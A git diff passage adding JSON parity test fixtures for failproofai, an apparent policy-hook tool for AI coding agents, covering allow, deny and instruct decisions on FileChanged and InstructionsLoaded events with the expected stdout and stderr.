\\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1857577f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..33f56995 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cb57917d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dc4189ae --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..73bb2524 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e08d47f7 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..56843d6e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e5142f0b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..49b95936 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ecee3f08 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..90a10997 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5f18ccc9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..23ac7eb1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..579fa2c6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..77a8e530 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e5b5f863 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cc970551 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..40ebcbcd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4684bba3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git 